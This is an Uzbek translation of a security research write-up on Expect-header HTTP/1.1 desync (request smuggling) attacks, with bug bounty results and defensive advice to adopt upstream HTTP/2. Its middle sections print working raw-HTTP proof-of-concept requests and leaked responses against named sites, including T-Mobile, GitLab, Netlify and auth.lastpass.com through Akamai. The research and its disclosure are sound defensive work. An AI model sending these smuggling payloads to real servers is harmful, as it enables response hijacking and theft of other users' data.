Ushbu texnikalar yordamida biz dastlab bug bounty dasturlariga ega veb-saytlarda taxminan o'nta oddiy 0.CL zaifligini aniqladik. Bu topilmalarning ko'pi ma'lum bir bulut WAF'idan foydalanadigan veb-saytlarda edi - bu WAF veb-saytni buzishni osonlashtirganini birinchi marta ko'rishimiz emas. O'sha paytda biz boshqa kashfiyotlarga chalg'igan edik va hujumlarning hech birini DoS'dan nariga qurollantirishga urinmadik, shuning uchun umumiy mukofot atigi $21,645 ni tashkil etdi. Eng yaxshi mukofot tajribasi $7,500 bergan EXNESS bilan bo'ldi. Odatdagidek, eng qimmatli natija mukofotlarning o'zi emas edi - bu ish keyingi topilmalarimiz uchun poydevor bo'lib xizmat qildi.

Yangi desync hujumlari kelmoqda

Shu nuqtada men desync tahdidi nihoyat to'liq xaritalangan va kelajakdagi muammolar tor doiradagi, bir martalik implementatsiya nuqsonlari bo'ladi deb o'ylagandim. Bu men har yili takrorlaydigan xato. Mana request smuggling sohasidagi yirik yutuqlarning qisman tarixi:

Haqiqatni nihoyat anglashim uchun keyingi kashfiyot kerak bo'ldi - yangi desync hujumlari doim kelaveradi.

Expect'ga asoslangan desync hujumlar

Expect murakkablik bombasi

Yana 2022-yilda men desync hujumlari uchun Expect sarlavhasidan foydalanib ko'rgandim, lekin hech narsa topmagandim. Ma'lum bo'lishicha, men yetarlicha chuqur qidirmagan ekanman.

Bu safar men Expect sarlavhasini dastlab early-response gadget'siz 0.CL desync zaifliklarini aniqlash yo'lini izlayotganimda ishlata boshladim.

Expect sarlavhasi - bu bitta HTTP so'rovini yuborishni ikki bosqichli jarayonga ajratadigan qadimiy optimizatsiya. Mijoz Expect: 100-continue sarlavhasini o'z ichiga olgan sarlavha blokini yuboradi, server esa so'rov qabul qilinar-qilinmasligini baholaydi. Agar server HTTP/1.1 100 Continue bilan javob bersa, mijozga so'rov tanasini yuborishga ruxsat beriladi.

Bu ham mijozlar, ham serverlar uchun murakkab, reverse proxy'lar uchun esa ancha battar. Agar front-end Expect'ni qo'llab-quvvatlamasa, yoki sarlavhani ko'rmasa, yoki qiymatni 100-continue sifatida tahlil qilmasa nima bo'lishini o'ylab ko'ring. Back-end-chi? Agar back-end erta javob bersa yoki mijoz 100-continue'ni kutmasa nima bo'ladi?

Expect sarlavhasi o'ziga xos ekanining birinchi aniq ishorasi shu bo'ldiki, u mening Turbo Intruder asbobimdagi HTTP mijozini buzib qo'ydi - aynan shunday nuqtada har qanday bug desync'ga olib kelishi mumkin edi. Mijozni tuzatish kod murakkabligini keskin oshirdi. Mana javobni simdan o'qish uchun kodning avvalgi holati:

Javobni simdan o'qish kodi - Expect qo'llab-quvvatlanishidan oldin

Va keyingisi:

Javobni simdan o'qish kodi - Expect qo'llab-quvvatlangandan keyin

Expect serverlarni ham buzadi. Bir saytda Expect server HEAD javoblarida tana bo'lmasligini unutishiga sabab bo'ldi va u back-end soketidan haddan tashqari ko'p ma'lumot o'qishga urinib, upstream deadlock keltirib chiqardi:

HEAD /<redacted> HTTP/1.1
Host: api.<redacted>
Content-Length: 6
Expect: 100-continue

ABCDEF

HTTP/1.1 100 Continue

HTTP/1.1 504 Gateway Timeout

Bu qiziq, ammo nisbatan zararsiz edi - u faqat DoS xavfini tug'dirardi. Boshqa noto'g'ri xatti-harakatlar kamroq zararsiz, masalan Expect'ga javoban xotirani oshkor qiladigan bir nechta server. Bu sirli matn parchalarini keltirib chiqardi:

POST / HTTP/1.1
Host: <redacted>
Expect: 100-continue
Content-Length: 1

X

HTTP/1.1 404 Not Found
HTTP/1.1 100 Continue

d

Ask the hotel which eHTTP/1.1 404 Not Found
HTTP/1.1 100 Continue

d

Va maxfiy kalitlarni:

POST / HTTP/1.1
Host: <redacted>
Expect: 100-continue
Content-Length: 1

X

HTTP/1.1 401 Unauthorized
Www-Authenticate: Bearer
HTTP/1.1 100 ContinTransfer-EncodingzxWthTQmiI8fJ4oj9fzE"
X-: chunked

HTTP/1.1 401 Unauthorized
Www-Authenticate: Bearer
HTTP/1.1 100 ContinTransfer-EncodingzxWthTQm145

Javob sarlavhalarini olib tashlashni chetlab o'tish

Barcha HTTP/1.1 javoblari bitta sarlavha blokiga ega - agar siz Expect yubormasangiz. Natijada ikkinchi sarlavha bloki ko'pincha parser'larni hayratda qoldiradi va front-end serverlarning maxfiy javob sarlavhalarini olib tashlashga urinishlarini barbod qiladi. Mana bir misol:

POST /_next/static/foo.js HTTP/1.1
Host: app.netlify.com

HTTP/1.1 200 OK
Server: Netlify
X-Nf-Request-Id: <redacted>
POST /_next/static/foo.js HTTP/1.1
Host: app.netlify.com
Expect: 100-continue

HTTP/1.1 100 Continue
Server: Netlify
X-Nf-Request-Id: <redacted>

HTTP/1.1 200 OK
X-Bb-Account-Id: <redacted>
X-Bb-Cache-Gen: <redacted>
X-Bb-Deploy-Id: <redacted>
X-Bb-Site-Domain-Id: <redacted>
X-Bb-Site-Id: <redacted>
X-Cnm-Signal-K: <redacted>
X-Nf-Cache-Key: <redacted>
X-Nf-Ats-Version: <redacted>
X-Nf-Cache-Info: <redacted>
X-Nf-Cache-Result: <redacted>
X-Nf-Proxy-Header-Rewrite:<redacted>
X-Nf-Proxy-Version: <redacted>
X-Nf-Srv-Version: <redacted>

Men bu misolni Netlify'ga xabar qildim, ular esa "bu ma'lumot ataylab shunday berilgan" deb javob berishdi.

Bu texnika, shuningdek, nishonli ekspluatatsiyalarni yumshatish maqsadida yashirishga urinilgan yuzlab server/versiya bannerlarini ham ochib beradi. Yaxshiyamki, ochilib qolgan server bannerlari kritik narsadan ko'ra ko'proq muvofiqlik (compliance) uchun tahdid hisoblanadi.

Rejalashtirilmagan hamkorlik

Shu payt menga to'liq stavkada ishlaydigan kichik bounty ovchilari jamoasidan xabar keldi - Paolo 'sw33tLie' Arnolfo, Guillermo 'bsysop' Gregorio va Mariani 'Medusa' Francesco. Ular ham Expect sarlavhasi qiziq narsalar keltirib chiqarayotganini payqashgan ekan. Ularning tadqiqot tajribasi jiddiy edi - TE.0 Request Smuggling bo'yicha izlanishlari 2024-yilning eng yaxshi 10 ta veb-hacking texnikasi ro'yxatida uchinchi o'rinni egallagan edi. Shu sababli biz birlashishga qaror qildik.

Oxir-oqibat biz juda, juda ko'p nishonni ekspluatatsiya qildik. Topilmalarimiz to'rtta keng toifaga bo'lindi:

Oddiy Expect orqali 0.CL desync — T-Mobile

Oddiygina to'g'ri Expect sarlavhasini yuborish ko'plab turli serverlarda 0.CL desync keltirib chiqaradi. Menimcha, bunga front-end serverdagi nosoz Expect implementatsiyasi sabab: u sarlavhalarni to'g'ri uzatadi, lekin back-end'ning 100 bo'lmagan javobidan chalkashib, mijozdan hali tana qabul qilishi kerakligini unutib qo'yadi.

Mana biz T-Mobile'ning staging domeniga qarshi qurgan proof of concept:

GET /logout HTTP/1.1
Host: <redacted>.t-mobile.com
Expect: 100-continue
Content-Length: 291

HTTP/1.1 404 Not Found
GET /logout HTTP/1.1
Host: <redacted>.t-mobile.com
Content-Length: 100

GET / HTTP/1.1
Host: <redacted>.t-mobile.com

GET https://psres.net/assets HTTP/1.1
X: y

HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted>.t-mobile.com

HTTP/1.1 301 Moved Permanently
Location: https://psres.net/…

T-Mobile bu topilma uchun bizga $12,000 mukofot berdi - ishlab chiqarishga tegishli bo'lmagan domen uchun juda raqobatbardosh to'lov.

Obfuskatsiya qilingan Expect orqali 0.CL desync — Gitlab

Yengil obfuskatsiya qilingan Expect sarlavhasini yuborish ancha ko'p yangi nishonni ochib beradi. Masalan, "Expect: y 100-continue" h1.sec.gitlab.net saytida 0.CL desync keltirib chiqaradi. Bu qiziqarli nishon edi, chunki unda Gitlab'ning bug bounty dasturiga yuborilgan hisobotlarga biriktirilgan fayllar - potensial kritik zeroday'lar saqlanardi.

Saytning hujum yuzasi juda kichik edi, shuning uchun biz ekspluatatsiya uchun klassik redirect yoki XSS desync gadget'ini topa olmadik. Buning o'rniga biz Response Queue Poisoning (RQP) - server hammaga boshqa foydalanuvchilarga mo'ljallangan tasodifiy javoblarni yuborishiga olib keladigan yuqori ta'sirli hujumni sinab ko'rishga qaror qildik. RQP kam trafikli nishonlarda unga xos race condition tufayli qiyin kechadi, biroq biz qat'iyat bilan davom etdik va 27,000 so'rovdan keyin boshqa birovning zaiflik hisobotidagi videoga hamda $7,000 mukofotga ega bo'ldik:

GET / HTTP/1.1
Content-Length: 686
Expect: y 100-continue

HTTP/1.1 200 OK
GET / HTTP/1.1
Content-Length: 292

GET / HTTP/1.1
Host: h1.sec.gitlab.net

GET / HTTP/1.1
Host: h1.sec.gitlab.net

HTTP/1.1 200 OK
GET /??? HTTP/1.1
Authorization: ???
User-Agent: Unknown Gitlab employee

HTTP/1.1 200 OK
GET / HTTP/1.1
Host: h1.sec.gitlab.net

HTTP/1.1 302 Found
Location: https://storage<redacted>

Shundan so'ng bir nechta yuqori to'lovlar bizni Expect'ga asoslangan 0.CL desync hujumlaridan taxminan $95,000 ishlab topgan darajaga olib chiqdi.

Oddiy Expect orqali CL.0 desync — Netlify CDN

Serverlarni har qanday mumkin bo'lgan usulda buza olishini isbotlab, Expect CL.0 desync zaifliklarini ham keltirib chiqarishi mumkin.

Masalan, biz Netlify'da CL.0 RQP zaifligini topdik, u ishga tushirilganda bizga Netlify CDN'dagi har bir veb-saytdan javoblarning uzluksiz oqimini yubordi:

POST /images/ HTTP/1.1
Host: <redacted-netlify-client>
Expect: 100-continue
Content-Length: 64

GET /letter-picker HTTP/1.1
Host: <redacted-netlify-client>

HTTP/1.1 404 Not Found
POST /authenticate HTTP/1.1
Host: ???
User-Agent: Unknown Netlify user

HTTP/1.1 200 OK
…
<title>Letter Picker Wheel
GET / HTTP/1.1
Host: <redacted-netlify-client>

HTTP/1.1 200 OK
…
"{\"token\":\"eyJhbGciOiJ…

Biz buni ma'lum bir Netlify'da joylashgan veb-saytni testlash paytida topdik, ammo unga xabar berish mantiqiy emas edi, chunki biz o'g'irlagan javoblarning barchasi uchinchi tomon veb-saytlaridan kelayotgandi.

Hujum biz uni topganimizdan ko'p o'tmay ishlashdan to'xtadi, lekin biz baribir Netlify'ga xabar qildik va "Netlify'dan foydalanadigan veb-saytlar qamrovdan tashqarida" degan javobni oldik, mukofot esa berilmadi. Odatda kutilmagan mukofot natijasiga duch kelganimda men bu haqda gapirmayman, chunki bu o'quvchilarni texnik mazmundan chalg'itadi. Bu yerda istisno qildim, chunki bu keyin nima sodir bo'lganini tushunish uchun foydali kontekst beradi.

Obfuskatsiya qilingan Expect orqali CL.0 desync — Akamai CDN

Kutilganidek, Expect sarlavhasini obfuskatsiya qilish yanada ko'proq CL.0 desync zaifliklarini ochib berdi. Mana biz topgan misol, u bizga auth.lastpass.com saytiga kirayotgan foydalanuvchilarga ixtiyoriy kontent yetkazish imkonini berdi va ularning maksimal mukofoti - $5,000 ni keltirdi:

OPTIONS /anything HTTP/1.1
Host: auth.lastpass.com
Expect:
 100-continue
Content-Length: 39

GET / HTTP/1.1
Host: www.sky.com
X: X

HTTP/1.1 404 Not Found
GET /anything HTTP/1.1
Host: auth.lastpass.com

HTTP/1.1 200 OK

Discover TV & Broadband Packages with Sky

Biz tezda bu Akamai CDN'dan foydalanadigan juda ko'p nishonga ta'sir qilishini angladik. Aslida, menimcha, biz undan foydalanib internetdagi eng nufuzli domenni - example.com ni egallashimiz mumkin edi! Afsuski, example.com da VDP yo'q, shuning uchun buni tekshirish noqonuniy bo'lardi. Agar Akamai bizga aytmasa, buni hech qachon aniq bilmasak kerak.

Shunga qaramay, bu savol tug'dirdi. Muammoni bevosita ta'sirlangan kompaniyalarga xabar qilish kerakmi yoki Akamai'gami? Tadqiqotchi sifatida ham CDN'lar, ham ularning mijozlari bilan yaxshi munosabatni saqlash juda muhim, men olgan mukofotlar esa xayriyaga ketadi, ya'ni menda shaxsiy manfaat yo'q. Biroq men bounty ovchilari bu muammoni mening yordamimsiz ham mustaqil topishlarini ko'rib turardim va ularning daromadini barbod qilishni istamadim. Oxir-oqibat men chetga chiqishga qaror qildim - muammoni o'rganish yoki xabar qilishda ishtirok etmadim va mukofotlardan ulush olmadim. Ichimdagi bir qismim buni biroz afsus bilan eslaydi, chunki bu oxir-oqibat 74 ta alohida mukofotga, jami $221,000 ga olib keldi.

Hisobotlar yaxshi qabul qilindi, ammo hamma narsa silliq ketmadi. Ma'lum bo'lishicha, zaiflik butunlay Akamai infratuzilmasi ichida ekan, shuning uchun Akamai mijozlaridan kelgan support ticket'lar bilan ko'milib ketdi. Men Akamai hali zaif holatda ekan, texnika sizib chiqishidan xavotirga tushdim va ularga tezroq tuzatishga yordam berish uchun bog'landim. Muammoga CVE-2025-32094 identifikatori berildi va menga $9,000 mukofot berildi. Ular ba'zi mijozlar uchun hotfix'ni tez chiqara oldilar, biroq zaiflikni to'liq bartaraf etish shu paytdan boshlab yana 65 kun oldi.

Umuman olganda, bu ancha zo'riqishli bo'ldi, lekin hech bo'lmaganda men HTTP/1.1 keltirayotgan xavfning dollarda ifodalangan dalilini oldim. Ushbu tadqiqotdan hozirgacha olingan umumiy mukofotlar $350,000 dan bir oz oshdi.

HTTP desync hujumlaridan himoyalanish

Nega HTTP/1.1 ni patch qilish yetarli emas

Ushbu maqoladagi barcha hujumlar implementatsiya nuqsonlarini ekspluatatsiya qiladi, shuning uchun yechim butun protokoldan voz kechish degan xulosa g'alati tuyulishi mumkin. Biroq bu hujumlarning barchasi bitta ildiz sababga ega. HTTP/1.1 ning halokatli nuqsoni - so'rovlarni yomon ajratish - kichik bug'lar ko'pincha kritik ta'sirga ega bo'lishini anglatadi. Bu ikkita asosiy omil bilan yanada kuchayadi.

Birinchidan, HTTP/1.1 faqat siz proxy qilmayotgan bo'lsangizgina oddiy. RFC'da xabar uzunligini ko'rsatishning uchta turli usuli kabi ko'plab minalar, Expect va Connection kabi murakkablik bombalari hamda HEAD kabi maxsus holatlar bor. Bularning barchasi bir-biri va parser nomuvofiqliklari bilan o'zaro ta'sirlashib, son-sanoqsiz kritik zaifliklarni yuzaga keltiradi.

Ikkinchidan, so'nggi olti yil shuni isbotladiki, biz tahdidni haqiqatan hal qiladigan turdagi patch va qattiqlashtirishni qo'llashda qiynalamiz. Front-end serverlarda mustahkam validatsiya yoki normalizatsiyani qo'llash yordam berardi, biroq biz eski mijozlar bilan moslikni buzishdan juda qo'rqamiz. Buning o'rniga biz regex'ga asoslangan himoyalarga murojaat qilamiz, ularni esa hujumchilar osongina chetlab o'tadi.

Bu omillarning barchasi birgalikda bitta narsani anglatadi - yangi desync hujumlari kelmoqda.

HTTP/2 HTTP/1 bilan solishtirganda qanchalik xavfsiz?

HTTP/2 mukammal emas - u HTTP/1 dan sezilarli darajada murakkabroq va uni implementatsiya qilish og'riqli bo'lishi mumkin. Biroq upstream HTTP/2+ desync zaifliklari ehtimolini keskin kamaytiradi. Buning sababi shundaki, HTTP/2 - xuddi TCP va TLS kabi binar protokol bo'lib, unda har bir xabarning uzunligi haqida hech qanday noaniqlik yo'q. Implementatsiya bug'larini kutish mumkin, lekin ma'lum bir bug haqiqatan ekspluatatsiya qilinadigan bo'lish ehtimoli sezilarli darajada past.

Hozirgacha HTTP/2 implementatsiyalarida topilgan zaifliklarning aksariyati HTTP/2 Rapid Reset kabi DoS nuqsonlari bo'lib, HTTP/1 da ham bunday hujumlar yetarlicha. Jiddiyroq zaiflik uchun odatda ildiz sabab sifatida xotira xavfsizligi muammosi yoki integer overflow kerak bo'ladi. Yana bir bor aytish kerakki, bu muammolar HTTP/1.1 implementatsiyalariga ham ta'sir qiladi. Albatta, istisnolar doim bor - masalan CVE-2023-32731 va HTTP/3 connection contamination - va men kelajakda bularga qaratilgan ko'proq tadqiqotlarni ko'rishni intiqlik bilan kutaman.

E'tibor bering, HTTP/2 downgrading - front-end serverlar mijozlar bilan HTTP/2 da gaplashib, upstream aloqa uchun uni HTTP/1.1 sifatida qayta yozadigan holat - xavfsizlik jihatidan minimal foyda beradi va aslida veb-saytlarni desync hujumlariga ko'proq ochib qo'yadi.

Siz HTTP/1.1 HTTP/2 dan xavfsizroq, chunki HTTP/1.1 implementatsiyalari eskiroq, demak ko'proq qattiqlashtirilgan degan dalilga duch kelishingiz mumkin. Bunga qarshi men request smuggling bilan buffer overflow'lar o'rtasida taqqoslash o'tkazmoqchiman. Request smuggling taxminan olti yildan beri yaxshi ma'lum bo'lgan tahdid. Bu shuni anglatadiki, unga qarshi himoyamiz 2002-yilda buffer overflow'larga qarshi himoyamiz qanchalik yetuk bo'lsa, taxminan shunchalik yetuk. Xotira xavfsiz tilga o'tish vaqti keldi.

HTTP/2 yordamida request smuggling'ni qanday yengish mumkin

Avvalo, origin serveringiz HTTP/2 ni qo'llab-quvvatlashiga ishonch hosil qiling. Aksariyat zamonaviy serverlar buni qiladi, shuning uchun bu muammo bo'lmasligi kerak.

Keyin, proxy'laringizda upstream HTTP/2 ni yoqing. Men buni quyidagi vendorlarda mumkinligini tasdiqladim: HAProxy, F5 Big-IP, Google Cloud, Imperva, Apache (eksperimental) va Cloudflare (lekin ular ichkarida HTTP/1 dan foydalanadi).

Afsuski, quyidagi vendorlar hali upstream HTTP/2 ni qo'llab-quvvatlashni qo'shmagan: nginx, Akamai, CloudFront, Fastly. Ularga support ticket ochib, upstream HTTP/2 ni qachon yoqishlarini so'rab ko'ring - umid qilamizki, hech bo'lmaganda muddatni aytishadi. Shuningdek, ularning hujjatlarini ko'rib chiqing, ehtimol so'rov normalizatsiyasini yoqa olarsiz - ba'zan qimmatli yumshatish choralari mavjud bo'ladi, lekin sukut bo'yicha o'chirilgan bo'ladi.

E'tibor bering, brauzer va front-end o'rtasida HTTP/1 ni o'chirish shart emas. Bu ulanishlar turli foydalanuvchilar o'rtasida kamdan-kam bo'lishiladi va natijada ancha kam xavfli. Faqat ular upstream tomonda HTTP/2 ga o'girilishiga ishonch hosil qiling.

HTTP/1.1 bilan qanday omon qolish mumkin

Agar siz hozircha upstream HTTP/1.1 ga bog'lanib qolgan bo'lsangiz, HTTP/2 dan foydalana boshlaguningizcha veb-saytingiz muqarrar keladigan navbatdagi desync hujumlari to'lqinlaridan omon qolishiga yordam beradigan bir nechta strategiya mavjud.

  • Front-end serverda mavjud barcha normalizatsiya va validatsiya opsiyalarini yoqing
  • Back-end serverda validatsiya opsiyalarini yoqing
  • Tor doiradagi (niche) veb-serverlardan qoching - Apache va nginx kamroq xavfli
  • HTTP Request Smuggler bilan muntazam skanerlash o'tkazing
  • Upstream ulanishlarni qayta ishlatishni (connection reuse) o'chiring (unumdorlikka ta'sir qilishi mumkin)
  • Agar metod tana talab qilmasa (GET/HEAD/OPTIONS), tanaga ega so'rovlarni rad eting

Nihoyat, WAF'lar desync hujumlarini upstream HTTP/2 kabi samarali to'sa oladi degan vendor da'volariga ehtiyot bo'ling.

HTTP/1.1 ni o'ldirishga qanday yordam berishingiz mumkin

Ayni paytda upstream HTTP/1 ni o'ldirish yo'lidagi eng katta to'siq - uning qanchalik xavfli ekani haqidagi xabardorlikning pastligi. Umid qilamanki, bu tadqiqot biroz yordam beradi, lekin uzoq muddatli o'zgarish qilish va olti yildan keyin ayni shu holatda qolmasligimizni ta'minlash uchun menga sizning yordamingiz kerak.

Biz birgalikda dunyoga HTTP/1.1 qanchalik buzuq ekanini ko'rsatishimiz kerak. HTTP Request Smuggler 3.0 ni sinab ko'ring, tizimlarni buzing va ular HTTP/2 bilan tuzatilishiga erishing. Iloji boricha topilmalaringizni chop eting, toki qolganlarimiz undan o'rgansin. Nishonlar shunchaki metodologiyani patch qilib sizdan qochib qutulishiga yo'l qo'ymang - texnikalar va asboblarni moslashtiring va o'zgartiring, hech qachon mavjud darajaga qanoat qilmang. Bu siz o'ylagandek qiyin emas va sizga yillab tadqiqot tajribasi kerak emas. Masalan, ushbu tadqiqotni yakunlayotib men o'tgan yili chop etilgan bir yozuv aslida Expect'ga asoslangan 0.CL desync'ni tasvirlab berganini angladim, ya'ni siz shunchaki o'sha maqolani o'qib va qo'llab, bu topilmalarda mendan o'zib ketishingiz mumkin edi!

Nihoyat, xabarni tarqating - yangi desync hujumlari doim kelaveradi.

Xulosa

So'nggi olti yil davomida biz HTTP/1.1 dagi dizayn nuqsoni veb-saytlarni muntazam ravishda kritik hujumlar oldida ochiq qoldirayotganini ko'rdik. Alohida implementatsiyalarni hotfix qilishga urinishlar tahdid sur'atiga yeta olmadi va yagona hayotiy uzoq muddatli yechim - bu upstream HTTP/2. Bu tez yechim emas, biroq upstream HTTP/1.1 aslida qanchalik xavfli ekani haqidagi xabardorlikni tarqatib, biz HTTP/1.1 ni o'ldirishga yordam bera olamiz.

Omad tilayman!

James Kettle